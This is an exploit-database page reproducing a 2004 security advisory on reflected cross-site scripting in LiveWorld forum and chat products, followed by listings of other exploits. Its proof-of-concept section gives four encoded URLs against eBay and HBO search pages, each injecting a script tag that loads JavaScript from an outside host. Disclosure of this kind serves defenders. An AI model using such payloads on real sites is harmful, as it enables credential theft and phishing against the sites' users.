Menu

Search for hundreds of thousands of exploits

"LiveWorld Multiple Products - Cross Site Scripting"

Author

Exploit author

"GulfTech Security"

Platform

Exploit platform

asp

Release date

Exploit published date

2014-08-23

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
LiveWorld Cross Site Scripting

Vendor: LiveWorld, Inc
Product: LiveWorld
Version: Multiple Products
Website: http://www.liveworld.com

CVE: CVE-2004-2566 
OSVDB: 9180 
PACKETSTORM: 34143 

Description:
LiveWorld provides collaborative services for online meetings, customer care, and loyalty marketing. Supporting communication between a company and its customers, employees, or partners and among those people themselves - our services help corpor- ations cut costs, increase revenue, and solidify relationships with groups critical to their success. LiveWorld products are used on major websites such as HBO, and eBay 

Cross Site Scripting:
GulfTech Security Research have discovered Cross Site Scripting issues that are believed to be present in multiple LiveWorld Inc products such as LiveForum, LiveQ&A, LiveChat and LiveFocusGroup. It is also a good possibility that this issue exists in other LiveWorld products as they "seem" to share some of the same code. If you believe this to be incorrect, or have proof of it being 100% accurate then please let us know. These issues could allow for an attacker to run code in the context of a victims browser or temporarily deface a website that is running any of the affected applications. 

Proof of Concept:
I have done my best to contact LiveWorld, and eBay. As of the time I am writing this, the holes are not patched, and these examples work. However this may not be the case when this write up becomes public. Please note that these URI's are wrapped for the sake of readability. 

http://answercenter.ebay.com/search.jsp?q=%22%3E%3Cscript+src%3D
%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fscript
%3E%3C%21--%3C%21-- 

http://groups.ebay.com/findclub!execute.jspa?q=%22%3E%3Cscript+s
rc%3D%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fs
cript%3E%3C%21--%3C%21-- 

http://forums.ebay.com/search.jsp?q=%22%3E%3Cscript+src%3D%22htt
p%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fscript%3E 

http://boards.hbo.com/search!execute.jspa?q=%22%3E%3Cscript+src%
3D%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fscri
pt%3E%3C%21--%3C%21-- 

These examples simply print the GulfTech name to the browser, but this could just as easily be a spoofed form, or a malicious script. 

Solution:
LiveWorld Inc were contacted about these issues, but have not yet responded. Hopefully they will see this report and fix the issues :) Any future fix will likely be posted on their website. 

Credits:
James Bercegay of the GulfTech Security Research Team.
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-07-10 "HelloWeb 2.0 - Arbitrary File Download" webapps asp bRpsd
2020-03-16 "Enhanced Multimedia Router 3.0.4.27 - Cross-Site Request Forgery (Add Admin)" webapps asp "Miguel Mendez Z"
2020-01-24 "OLK Web Store 2020 - Cross-Site Request Forgery" webapps asp "Joel Aviad Ossi"
2019-12-18 "Rumpus FTP Web File Manager 8.2.9.1 - Reflected Cross-Site Scripting" webapps asp "Harshit Shukla"
2019-11-18 "Crystal Live HTTP Server 6.01 - Directory Traversal" webapps asp "numan türle"
2019-08-16 "Web Wiz Forums 12.01 - 'PF' SQL Injection" webapps asp n1x_
2019-05-06 "microASP (Portal+) CMS - 'pagina.phtml?explode_tree' SQL Injection" webapps asp "felipe andrian"
2019-02-12 "Skyworth GPON HomeGateways and Optical Network Terminals - Stack Overflow" dos asp "Kaustubh G. Padwad"
2018-11-05 "Advantech WebAccess SCADA 8.3.2 - Remote Code Execution" webapps asp "Chris Lyne"
2018-05-29 "IssueTrak 7.0 - SQL Injection" webapps asp "Chris Anastasio"
Release Date Title Type Platform Author
2018-01-15 "D-Link DNS-343 ShareCenter < 1.05 - Command Injection" webapps php "GulfTech Security"
2018-01-15 "D-Link DNS-325 ShareCenter < 1.05B03 - Multiple Vulnerabilities" webapps php "GulfTech Security"
2018-01-08 "Synology Photostation < 6.7.2-3429 - Multiple Vulnerabilities" webapps php "GulfTech Security"
2018-01-03 "WDMyCloud < 2.30.165 - Multiple Vulnerabilities" remote hardware "GulfTech Security"
2018-01-03 "D-Link DNS-320 ShareCenter < 1.06 - Backdoor Access" remote hardware "GulfTech Security"
2016-10-04 "Mambo < 4.5.4 - SQL Injection" webapps php "GulfTech Security"
2016-08-28 "CubeCart < 3.0.12 - Multiple Vulnerabilities" webapps php "GulfTech Security"
2016-08-18 "X-Cart < 4.1.3 - Arbitrary Variable Overwrite" webapps php "GulfTech Security"
2016-08-14 "Claroline < 1.7.7 - Arbitrary File Inclusion" webapps php "GulfTech Security"
2016-08-11 "SquirrelMail < 1.4.7 - Arbitrary Variable Overwrite" webapps php "GulfTech Security"
2016-03-05 "PHPLib < 7.4 - SQL Injection" webapps php "GulfTech Security"
2016-03-02 "Gallery 2 < 2.0.2 - Multiple Vulnerabilities" webapps php "GulfTech Security"
2016-02-26 "phpRPC < 0.7 - Remote Code Execution" webapps php "GulfTech Security"
2016-02-24 "Mambo < 4.5.3h - Multiple Vulnerabilities" webapps php "GulfTech Security"
2016-02-21 "PEAR LiveUser < 0.16.8 - Arbitrary File Access" webapps php "GulfTech Security"
2016-02-19 "Geeklog < 1.4.0 - Multiple Vulnerabilities" webapps php "GulfTech Security"
2016-02-18 "ADOdb < 4.71 - Cross Site Scripting" webapps php "GulfTech Security"
2015-07-21 "XPCOM - Race Condition" webapps php "GulfTech Security"
2015-07-14 "SquirrelMail < 1.4.5-RC1 - Arbitrary Variable Overwrite" webapps php "GulfTech Security"
2015-07-02 "PHPXMLRPC < 1.1 - Remote Code Execution" webapps php "GulfTech Security"
2015-07-01 "PEAR XML_RPC < 1.3.0 - Remote Code Execution" webapps php "GulfTech Security"
2015-06-29 "XOOPS < 2.0.11 - Multiple Vulnerabilities" webapps php "GulfTech Security"
2015-05-28 "Peercast < 0.1211 - Format String" dos windows "GulfTech Security"
2015-05-16 "Burning Board < 2.3.1 - SQL Injection" webapps php "GulfTech Security"
2015-05-05 "Invision Power Board (IP.Board) < 2.0.3 - Multiple Vulnerabilities" webapps php "GulfTech Security"
2015-04-19 "AZBB < 1.0.07d - Multiple Vulnerabilities" webapps php "GulfTech Security"
2015-01-03 "PhotoPost < 4.85 - Multiple Vulnerabilities" webapps php "GulfTech Security"
2015-01-02 "ReviewPost < 2.84 - Multiple Vulnerabilities" webapps php "GulfTech Security"
2015-01-01 "PhotoPost Classifieds < 2.01 - Multiple Vulnerabilities" webapps php "GulfTech Security"
2014-12-29 "PHP-Calendar < 0.10.1 - Arbitrary File Inclusion" webapps php "GulfTech Security" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected